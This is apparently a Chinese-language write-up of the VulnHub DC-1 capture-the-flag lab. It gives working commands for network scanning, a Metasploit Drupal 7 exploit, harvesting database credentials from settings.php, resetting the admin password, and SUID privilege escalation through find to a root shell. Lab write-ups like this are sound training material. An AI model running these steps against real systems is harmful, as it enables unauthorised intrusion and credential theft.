渗透:vulnhub DC系列之DC1
DC系列之DC1
一、靶机配置及说明
下载地址:https://www.vulnhub.com/entry/dc-1,292/
靶机:DC1(VMware) IP:192.168.49.152
攻击机:kali2018 IP:192.168.49.153
有四个flag
参考:
https://bbs.ichunqiu.com/thread-56746-1-1.html
https://www.jianshu.com/p/185b45a32681
二、配置靶机
①解压后,右键点击DC-1.ova,用VMware打开,导入到VMware中
②配置nat模式
②打开DC1虚拟机,这样就完成配置
三、信息收集
①利用kali自带的nmap或者netdiscover扫描靶机的IP
因为现在不知道靶机DC1的IP地址,需要扫描本网段的存活的IP,便可以知道靶机的IP
kali的IP
nmap -sP 192.168.49.0/24
说明:-sP 默认发ICMP echo请求和TCP的ACK请求(80端口)
netdiscover -i eth0 -r 192.168.49.0/24
说明:
netdiscover是一个主动/被动的 ARP侦查工具,通过抓取网络中的arp广播包来确定网络中存活的IP
-i 指定网卡 -r 指定扫描的网段
②端口扫描
nmap -sC -sV -p1-65535 192.168.49.152
说明:-sV:探测开放端口的服务和版本信息,-p:端口范围或指定端口
开放了22、80、111、58639、111端口
③CMS识别
该网站时基于Drupal 7版本的CMS搭建的
打开网站
思路一:账号密码**
思路二:是否有SQL注入
思路三:查看CMS是否有漏洞
四、漏洞利用
这里是思路三
在Kali中用msf查找相应的版本漏洞
直接使用4
use 4
set rhosts 192.168.49.152
show options 查看是否设置成功
exploit 开始攻击
shell 进入命令行模式
python -c 'import pty;pty.spawn("/bin/bash")' 获取可交互shell
flag1
ls 列出当前文件
cat flag1.txt
flag1提示要找到CMS的配置文件
flag2
drupal 7 的配置文件在/sites/default/settings.php
配置文件中有数据库的用户名和密码
flag3
连接数据库
mysql -h localhost -u dbuser -p
查询数据库、表
思路:更新数据库的密码,来更改admin的密码为123456
方法一
文件 /scripts/password-hash.sh是对数据库加密的文件,使用该文件可以生成加密密文
重新连接数据库,生成加密密文
现在已经更新了admin的密码,为123456
方法二
在msfconsole 查找drupal相关的脚本,创建管理员账号
查看drupal 的版本
cat /var/www/includes/bootstrap.inc | grep VERSION
版本为7.24大于7.0小于7.31,刚好可以利用
现在去登录
五、权限提升
flag4
方法一
flag3中提示可以用find可执行命令来进行提权
suid提权
查找具有root权限的其他命令,以下几条命令都可以查询
find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} ;
find / -perm -4000
find命令本身就是root权限
利用find提权
find . -exec /bin/sh \;
进入/root目录下可以查看到最后的flag
方法二
因为所有find执行的命令都是root权限,利用netcat,将它提权为root权限
首先创建一个文件,利用find执行netcat 开启监听
另开一个终端连接
总结
每个flag所涉及的知识点
1、msf的熟悉使用以及搜索可以利用的漏洞
2、特别注意网站的配置文件
3、数据库管理提权(添加用户或者更新管理员密码)
4、suid提权命令或netcat反向shell